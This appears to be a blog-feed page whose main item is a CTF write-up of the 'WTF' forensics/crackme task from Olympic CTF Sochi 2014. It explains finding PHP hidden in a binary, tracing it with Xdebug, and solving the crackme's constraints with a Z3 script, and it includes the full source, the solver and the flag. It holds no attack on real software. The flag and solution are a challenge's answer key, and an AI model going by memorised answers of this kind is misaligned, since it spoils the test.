";}+400 points well earned, and we could happily proceed to the next task. :)Wyświetl pełny artykuł
-
"Welcome To Forensics" or WTF for short (and believe us when we say that the name is most fitting) was a stegano/forensics/crackme challenge on the Olympic CTF Sochi 2014, which was organized by the MSLC. On behalf of the Dragon Sector this task was solved by gynvael and mak. We were given a 46KB WTF.BIN file which looked like nothing in particular: And let's be honest by saying that we had no idea what to do with it until a hint was published some hours later. The hint basically said "look at 0x4525". At that offset there were three characters that basically revealed what this task is about: <?# Yes, this is PHP. While it seems hard to believe, running this binary randomness in the PHP interpreter doesn't throw any errors (just noticed; note: in php.ini the short_open_tags needs to be enabled). Looking deeper into it one starts to notice a schema - everything is separated into lines and each line has some PHP code which is followed by a line comment sign (either # or //) and a lot of binary trash. The funny thing is that the PHP code also looks like binary randomness since PHP allows names to be non-ASCII and even promotes some of them to constant strings. For example (yellow = PHP code, violet = comment start): Please note that the markings might be incorrect, but it should give you the general idea. Instead of trying to deobfuscate this we decided to start with a trace using Xdebug's trace options and asked it to dump the parameters of called functions as well as the returned values. We got the following output: So this basically gave us a BASIC-looking-but-still-PHP crackme (see Appendix A at the bottom for full source). To find the answer we used Z3 (see Appendix B) which quickly found that the flag is: QB4SIC_f0rever!! To sum up, starting was the hard part in this task - the rest was rather simple if one had the correct tools (Xdebug, Z3). Appendix A - crackmeeval('FUNCTION FUNCTI0N($PARAMETER) { /* ' OMFG A FUNCTION !!! */ IF (STRLEN($PARAMETER) <> 16): RETURN FALSE; ENDIF; DIM; $ARRAY = ARRAY(); FOR ($I = 1; $I <= STRLEN($PARAMETER); $I++): $ARRAY[$I] = ORD(SUBSTR($PARAMETER, $I - 1, 1)); ENDFOR; IF ((($ARRAY[3] * $ARRAY[6]) ^ ($ARRAY[2] * $ARRAY[2])) - 7320): RETURN FALSE; ENDIF; IF ((($ARRAY[11] * $ARRAY[14]) ^ ($ARRAY[9] * $ARRAY[11])) - 15882): RETURN FALSE; ENDIF; IF ((($ARRAY[14] * $ARRAY[15]) ^ ($ARRAY[11] * $ARRAY[4])) - 11789): RETURN FALSE; ENDIF; IF ((($ARRAY[1] * $ARRAY[9]) ^ ($ARRAY[8] * $ARRAY[9])) - 7184): RETURN FALSE; ENDIF; IF ((($ARRAY[13] * $ARRAY[16]) ^ ($ARRAY[7] * $ARRAY[11])) - 10366): RETURN FALSE; ENDIF; IF ((($ARRAY[9] * $ARRAY[4]) ^ ($ARRAY[4] * $ARRAY[2])) - 6902): RETURN FALSE; ENDIF; IF ((($ARRAY[13] * $ARRAY[15]) ^ ($ARRAY[11] * $ARRAY[16]))): RETURN FALSE; ENDIF; IF ((($ARRAY[14] * $ARRAY[6]) ^ ($ARRAY[6] * $ARRAY[1])) - 2277): RETURN FALSE; ENDIF; IF ((($ARRAY[10] * $ARRAY[9]) ^ ($ARRAY[16] * $ARRAY[15])) - 4385): RETURN FALSE; ENDIF; IF ((($ARRAY[2] * $ARRAY[7]) ^ ($ARRAY[1] * $ARRAY[10])) - 15468): RETURN FALSE; ENDIF; IF ((($ARRAY[3] * $ARRAY[14]) ^ ($ARRAY[6] * $ARRAY[15])) - 8075): RETURN FALSE; ENDIF; IF ((($ARRAY[6] * $ARRAY[3]) ^ ($ARRAY[5] * $ARRAY[10])) - 11550): RETURN FALSE; ENDIF; IF ((($ARRAY[5] * $ARRAY[3]) ^ ($ARRAY[9] * $ARRAY[8])) - 7668): RETURN FALSE; ENDIF; IF ((($ARRAY[13] * $ARRAY[12]) ^ ($ARRAY[12] * $ARRAY[1])) - 3032): RETURN FALSE; ENDIF; IF ((($ARRAY[7] * $ARRAY[4]) ^ ($ARRAY[8] * $ARRAY[13])) - 14067): RETURN FALSE; ENDIF; IF ((($ARRAY[6] * $ARRAY[3]) ^ ($ARRAY[7] * $ARRAY[7])) - 11997): RETURN FALSE; ENDIF; IF ((($ARRAY[12] * $ARRAY[11]) ^ ($ARRAY[5] * $ARRAY[8])) - 13208): RETURN FALSE; ENDIF; IF ((($ARRAY[5] * $ARRAY[16]) ^ ($ARRAY[7] * $ARRAY[13])) - 11282): RETURN FALSE; ENDIF; IF ((($ARRAY[2] * $ARRAY[12]) ^ ($ARRAY[13] * $ARRAY[2])) - 1126): RETURN FALSE; ENDIF; IF ((($ARRAY[8] * $ARRAY[15]) ^ ($ARRAY[9] * $ARRAY[2])) - 326): RETURN FALSE; ENDIF; IF ((($ARRAY[5] * $ARRAY[11]) ^ ($ARRAY[15] * $ARRAY[12])) - 5115): RETURN FALSE; ENDIF; IF ((($ARRAY[16] * $ARRAY[2]) ^ ($ARRAY[15] * $ARRAY[7])) - 1213): RETURN FALSE; ENDIF; IF ((($ARRAY[13] * $ARRAY[12]) ^ ($ARRAY[1] * $ARRAY[16])) - 9471): RETURN FALSE; ENDIF; IF ((($ARRAY[6] * $ARRAY[16]) ^ ($ARRAY[1] * $ARRAY[3])) - 6359): RETURN FALSE; ENDIF; IF ((($ARRAY[16] * $ARRAY[5]) ^ ($ARRAY[14] * $ARRAY[9])) - 7177): RETURN FALSE; ENDIF; IF ((($ARRAY[14] * $ARRAY[10]) ^ ($ARRAY[10] * $ARRAY[1])) - 5846): RETURN FALSE; ENDIF; IF ((($ARRAY[4] * $ARRAY[3]) ^ ($ARRAY[13] * $ARRAY[12])) - 15954): RETURN FALSE; ENDIF; IF ((($ARRAY[8] * $ARRAY[8]) ^ ($ARRAY[1] * $ARRAY[14])) - 3254): RETURN FALSE; ENDIF; IF ((($ARRAY[4] * $ARRAY[15]) ^ ($ARRAY[7] * $ARRAY[8])) - 12137): RETURN FALSE; ENDIF; IF ((($ARRAY[3] * $ARRAY[10]) ^ ($ARRAY[5] * $ARRAY[4])) - 131): RETURN FALSE; ENDIF; IF ((($ARRAY[5] * $ARRAY[4]) ^ ($ARRAY[6] * $ARRAY[10])) - 2685): RETURN FALSE; ENDIF; IF ((($ARRAY[11] * $ARRAY[12]) ^ ($ARRAY[10] * $ARRAY[14])) - 7242): RETURN FALSE; ENDIF; RETURN "YES, $PARAMETER"; } RETURN TRUE;') Appendix B (z3 solution by mak)from z3 import * array = [ BitVec('a%i'%i,8) for i in range(0,17)] s = Solver() s.add(((array[3] * array[6]) ^ (array[2] * array[2])) == 7320) s.add(((array[11] * array[14]) ^ (array[9] * array[11])) == 15882) s.add(((array[14] * array[15]) ^ (array[11] * array[4])) == 11789) s.add(((array[1] * array[9]) ^ (array[8] * array[9])) == 7184) s.add(((array[13] * array[16]) ^ (array[7] * array[11])) == 10366) s.add(((array[9] * array[4]) ^ (array[4] * array[2])) == 6902) s.add(((array[13] * array[15]) ^ (array[11] * array[16])) == 0) s.add(((array[14] * array[6]) ^ (array[6] * array[1])) == 2277) s.add(((array[10] * array[9]) ^ (array[16] * array[15])) == 4385) s.add(((array[2] * array[7]) ^ (array[1] * array[10])) == 15468) s.add(((array[3] * array[14]) ^ (array[6] * array[15])) == 8075) s.add(((array[6] * array[3]) ^ (array[5] * array[10])) == 11550) s.add(((array[5] * array[3]) ^ (array[9] * array[8])) == 7668) s.add(((array[13] * array[12]) ^ (array[12] * array[1])) == 3032) s.add(((array[7] * array[4]) ^ (array[8] * array[13])) == 14067) s.add(((array[6] * array[3]) ^ (array[7] * array[7])) == 11997) s.add(((array[12] * array[11]) ^ (array[5] * array[8])) == 13208) s.add(((array[5] * array[16]) ^ (array[7] * array[13])) == 11282) s.add(((array[2] * array[12]) ^ (array[13] * array[2])) == 1126) s.add(((array[8] * array[15]) ^ (array[9] * array[2])) == 326) s.add(((array[5] * array[11]) ^ (array[15] * array[12])) == 5115) s.add(((array[16] * array[2]) ^ (array[15] * array[7])) == 1213) s.add(((array[13] * array[12]) ^ (array[1] * array[16])) == 9471) s.add(((array[6] * array[16]) ^ (array[1] * array[3])) == 6359) s.add(((array[16] * array[5]) ^ (array[14] * array[9])) == 7177) s.add(((array[14] * array[10]) ^ (array[10] * array[1])) == 5846) s.add(((array[4] * array[3]) ^ (array[13] * array[12])) == 15954) s.add(((array[8] * array[8]) ^ (array[1] * array[14])) == 3254) s.add(((array[4] * array[15]) ^ (array[7] * array[8])) == 12137) s.add(((array[3] * array[10]) ^ (array[5] * array[4])) == 131) s.add(((array[5] * array[4]) ^ (array[6] * array[10])) == 2685) s.add(((array[11] * array[12]) ^ (array[10] * array[14])) == 7242) for i in range(1,17): s.add(array[i] >= 32 and array[i] <= 126) print s.check() print s.model() Wyświetl pełny artykuł
-
Java bytecode debugging was bugging me for quite some time, however I’ve never done anything to really solve this problem once and for all. Around February I was desperately trying to solve some java bytecode riddle (yup, it was crackme ;p, but shhh…) and the only straightforward solution that would help with analysis was java […]Wyświetl pełny artykuł